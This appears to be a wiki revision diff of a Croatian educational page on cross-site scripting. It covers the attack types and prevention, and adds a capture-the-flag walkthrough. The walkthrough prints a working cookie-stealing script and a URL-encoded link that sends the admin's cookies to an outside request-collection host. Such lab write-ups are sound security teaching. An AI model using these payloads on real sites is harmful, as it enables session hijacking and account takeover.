Differences

This shows you the differences between two versions of the page.

--- xss_napadi [2023/11/13 10:09] – zrinka
+++ xss_napadi [2025/12/01 11:40] (current) – external edit 127.0.0.1
@@ Line 1: / Line 1: @@
 ====XSS napadi====
-**XSS (Cross-site scripting)** je tip napada uključenja u kojem napadač ubacuje malicioznu skriptu u web stranicu koju korisnici smatraju povjerljivom. U najranijim verzijama napada fokus napadača bila je krađa podataka cross-site zahtjevima, odnosno zahtjevima koji idu preko više stranica. Od tada je evoluirao te obuhvaća uključenje bilo kakvog sadržaja u web stranicu.\\
+**XSS (Cross-site scripting)** tip je napada uključenja u kojem napadač ubacuje malicioznu skriptu u web stranicu koju korisnici smatraju povjerljivom. U najranijim verzijama napada fokus napadača bila je krađa podataka cross-site zahtjevima, odnosno zahtjevima koji idu preko više stranica. Od tada je evoluirao te obuhvaća uključenje bilo kakvog sadržaja u web stranicu.\\
-Funkcionira na način da se korisniku neke web stranice u odgovoru na njegov zahtjev vraća maliciozan
+Funkcionira tako da se korisniku neke web stranice u odgovoru na njegov zahtjev vraća maliciozan
 JavaScript kôd, najčešće u obliku klijentske skripte. Nakon njegova izvršenja napadač ima potpunu kontrolu
 nad korisnikovim interakcijama na toj stranici. Ovo je vrlo raširen tip napada. Svaki dio web stranice u
-kojemu se traži korisnički unos potencijalno je ranjiv ako nema dobre procedure validacije i pročišćavanja unosa. \\
+kojemu se traži korisnički unos potencijalno je ranjiv ako nema dobre procedure validacije i pročišćavanja unosa.
-Budući da meta ovih napada su uvijek stranice kojima korisnici vjeruju, krajnji korisnik najčešće ne može nikako znati da je skripta koju se sprema izvršiti maliciozna. Dodatno, povjerljivim stranicama korisnici rado dopuštaju pristup kolačićima, sjedničkim tokenima i sličnim osjetljivim informacijama koje skripta može iskoristiti.
 //Reflected XSS (Non-Persistent//) je tip napada u kojem se podatci koje je unio korisnik u HTTP zahtjev odmah vrate preko odgovora na taj isti zahtjev. Stranica vrati podatke bez da je ikako provjerila jesu li ti podatci sigurni za korištenje te je iz tog razloga ranjiva. Podatci se u pravilu nigdje ne pohranjuju, već ostaju u pregledniku tog korisnika te je zato drugi naziv Non-Persistent.
@@ Line 24: / Line 23: @@
 Skripta je obično takva da napadač može pristupiti i mijenjati sve korisnikove podatke, izvoditi sve akcije na stranici koje su njemu dozvoljene te čak izvoditi napade u njegovo ime.
-//Stored XSS (Persistent, second-order XSS)// za razliku od prethodne vrste dohvaća nesigurne podatke sa
+//Stored XSS (Persistent, second-order XSS)// za razliku od prethodne vrste dohvaća nesigurne podatke s
 nekog poslužitelja. Ni u ovom se slučaju ne provodi nikakva provjera jesu li ti podatci sigurni za
 korištenje. Unos podataka može opet ići preko korisničkog unosa, no razlika je u tome što se ti
-ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica sa člancima koja
+ranjivi podatci pohrane i mogu doći do drugih korisnika. Dobar primjer je stranica s člancima koja
  omogućuje komentare. Recimo da je napadač unio skriptu kao komentar na određeni članak. Ta skripta
 izvršit će se svakom korisniku koji poželi dohvatiti njegov komentar, odnosno svakom korisniku koji otvori
 taj članak.
-Zadnji je //DOM-based// napad koji se odvija kad JavaScript kôd web stranice uzima podatke sa izvora koji
+Zadnji je //DOM-based// napad koji se odvija kad JavaScript kôd web stranice uzima podatke s izvora koji
  kontrolira napadač, primjerice URL, i ubacuje ga u  DOM (//Document Object Model//) stranice. Primjerice, ako napadač dobije pristup pisanja u DOM i unese naredbu:
-<code>
+<code>document.write('... <script>alert(document.domain)</script> ...');
-document.write('... <script>alert(document.domain)</script> ...');
 </code>
 ova će se skripta izvesti.\\ \\
-**innerHTML** ne prihvaća <script> elemente pa s te strane djeluje sigurnije. No, i u tom slučaju postoji zaobilazni put jer se može unijeti element koji ima atribut koji prihvaća JavaScript, primjerice:
+//innerHTML// ne prihvaća <script> elemente pa s te strane djeluje sigurnije. No, i u tom slučaju postoji zaobilazni put jer se može unijeti element koji ima atribut koji prihvaća JavaScript, primjerice:
-<code>
+<code>element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'</code>
-element.innerHTML='... <img src=1 onerror=alert(document.domain)> ...'
-</code>
 I ovaj će se alert izvesti.\\ \\
 Ovaj se tip napada može kombinirati sa Stored i Reflected napadima jer također može koristiti URL parametre. Budući da se ova tri tipa mogu preklapati, uvedena je nova podjela - poslužiteljski i klijentski XSS.\\
@@ Line 57: / Line 53: @@
 <div> $varUnsafe </div>
 </code>
-jer napadač može unijeti skritpu kao varijablu, primjerice:
+jer napadač može unijeti skriptu kao varijablu, primjerice:
 <code>
 <script>alert`1`</script>
@@ Line 70: / Line 66: @@
 Osim kodiranja, važan dio je i pročišćavanje HTML kôda. Jedna od preporučenih metoda je
-//DOMPuritfy.sanize()//. No, i dalje treba paziti. Ako postoji mogućnost naknadne izmjene podataka, mora se
+//DOMPuritfy.sanitize()//. No, i dalje treba paziti. Ako postoji mogućnost naknadne izmjene podataka, mora se
  osigurati da se opet provede pročišćavanje. Uz to, ako se pročišćeni podatci šalju nekoj biblioteci na
  korištenje, važno je da ne rade izravne promjene nad nekim drugim podatkom. Svakako treba redovito
- održavati kôd koji se koristi bibliotekama za pročišćenje podataka jer se svako malo otkriju neki novi
+ održavati kôd koji se koristi bibliotekama za pročišćenje podataka jer se periodički otkrivaju novi
  nedostatci koji se poprave u novoj verziji biblioteke.
-Također, kad se dodaju atributi HTML elementima, treba umetati vrijednosti preko .setAttribute jer i on spada u //Safe sinks//. Važno je napomenuti da su //Safe sinks// sigurni isključivo kad se koriste imena atributa čije su  vrijednosti unaprijed definirane (primjerice id, class), no nisu uvijek pouzdani kad se koriste atributi koji redovno prihvaćaju JavaScript (onclick, onblur i slično). Pri korištenju CSS selektora preko JavaScripta  također je sigurnije mijenjati svojstva koristeći //style.{svojstvo}// nego ga direktno pisati u HTML.
+Također, pri dodavanju atributa HTML elementima, treba umetati vrijednosti preko **.setAttribute** jer i on spada u //Safe sinks//. Važno je napomenuti da su //Safe sinks// sigurni isključivo kad se koriste imena atributa čije su  vrijednosti unaprijed definirane (primjerice id, class), no nisu uvijek pouzdani kad se koriste atributi koji redovno prihvaćaju JavaScript (onclick, onblur i slično). Pri korištenju CSS selektora preko JavaScripta  također je sigurnije mijenjati svojstva koristeći //style.{svojstvo}// nego ga direktno pisati u HTML.
+__PRIMJER__ - **Zadatak s Hacknite platforme - Pronađi svoju stranicu**
+<file>
+Mario je jako sretan sa svojom stranicom na kojoj se mogu izmjenjivati korisni linkovi, ali osjećao je
+da  nešto nedostaje. Zato je kasnije dodao mogućnost pretraživanja korisnih linkova, kako bi netko mogao
+lakše naći upravo ono što traži. Jako je ponosan na svoj kod, pa ti je čak dao source kod kako bi mogao
+vidjeti kako je to napravio.
+Budući da je siguran u svoju stranicu, a i pomalo lijen, stavio je neke korisne informacije u kolačiće
+kako  bi im lakše mogao pristupiti. Mario je nastavio koristiti svoju stranicu, i zaista se uvjerio da
+nije time  napravio nikakav propust.
+Ako i ti želiš koristiti stranicu, sve što moraš napraviti je registrirati se i ulogirati. Tada ćeš
+moći pretraživati i slati korisne linkove svojim prijateljima i adminu, koji je naravno Mario.
+Flag je u formatu CTF2021[brojevi]
+http://chal.platforma.hacknite.hr:10011
+</file>
+U prilogu se nalazi i jedna .php datoteka, no ona se u ovom pojašnjenju ne koristi.\\
+Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon registracije vidimo tražilicu linkova i stranicu za slanje linkova. Primjećujemo mjesta za korisnički input koja, ako nemaju dobro riješeno pročišćavanje unosa, mogu biti potencijalno ranjiva. \\
+Testirajmo postoji li ranjivost uključivanja JavaScript koda. Upišimo u tražilicu linkova neku jednostavnu naredbu i pošaljimo zahtjev.
+<code><script>alert(1)</script></code>
+Vidimo da se naredba izvršila, dakle ranjivost postoji. \\
+Iskoristit ćemo ranjivost tako što ćemo poslati JavaScript kod koji će ukrasti adminov kolačić. Zatim ćemo ukradeni kolačić preusmjeriti na web stranicu koja ga može pohraniti. Za to ćemo iskoristiti stranicu na adresi http://requestbaskets.platforma.hacknite.hr. To je stranica koja stvara košaricu (//basket//) za sve zahtjeve koji su joj upućeni i pohranjuje sve detalje toga zahtjeva. Napravimo svoju košaricu. Ona će imati svoj id koji će u daljnjim koracima biti označen s {id} (piše se bez uglatih zagrada u link). Jednostavnija je opcija kopirati link direktno sa stranice i njega upisivati u zahtjeve (crveno zaokruženo).
+{{ :basket2.png?600 |}}
+ Upišimo sad u tražilicu:
+<code><script>document.location="http://requestbasekts.platforma.hacknite.hr/{id}/?c="+document.cookie;</script></code>
+kako bismo preusmjerili zahtjev na svoju stranicu. Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova, ovaj JavaScript kod će se izvršiti.
+{{ :cookie-rez.png?600 |}}
+Preko parametra //c// poslani su kolačići s trenutne stranice na našu, zlonamjernu. Vidimo da se zahtjev preusmjerio na našu stranicu i imamo session id u linku (parametar //c//). No, to je zasad samo naš cookie, nismo dobili pristup administratoru. Otiđimo sad na podstranicu koja određenoj osobi šalje link te pošaljimo adminu sljedeće:
+<code>
+http://chal.platforma.hacknite.hr:10011/search.php?query=%3Cscript%3Edocument.location%3D%22http%3A%2F%2Frequestbaskets.platforma.hacknite.hr/{id}%2F%3Fc%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
+</code>
+{{ :zahtjev-link.png?600 |}}
+Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na našu zlonamjernu i opet smo kao //c// parametar unijeli document.cookie da bismo mogli ukrasti administratorov kolačić. Posebni znakovi u linku koji šaljemo su URL-encodani: \\
+^ Kod ^ Značenje znaka ^
+|%3C  |< |
+|%3E  |> |
+|%3D  |= |
+|%22  |" |
+|%3A  |: |
+|%3F  |? |
+|%2F  |/ |
+|%3B  |; |
+Nakon što smo poslali zahtjev, on se pojavi na requestbaskets sa svim detaljima, uključujući i flag:
+{{ :flag.png?600 |}}
+Flag je URL-encoded, ali jedino što treba promijeniti su uglate zagrade:\\
+^ Kod ^ Značenje znaka ^
+|%5B  |[ |
+|%5D  |] |
-Izvori
+===Izvori===
 [1]https://owasp.org/www-community/attacks/xss/ \\
 [2]https://owasp.org/www-community/Types_of_Cross-Site_Scripting\\
 [3]https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html\\
-[4] https://portswigger.net/web-security/cross-site-scripting
+[4]https://portswigger.net/web-security/cross-site-scripting\\
+[5]https://www.w3schools.com/tags/ref_urlencode.ASP\\
+[6]https://platforma.hacknite.hr/challenges\\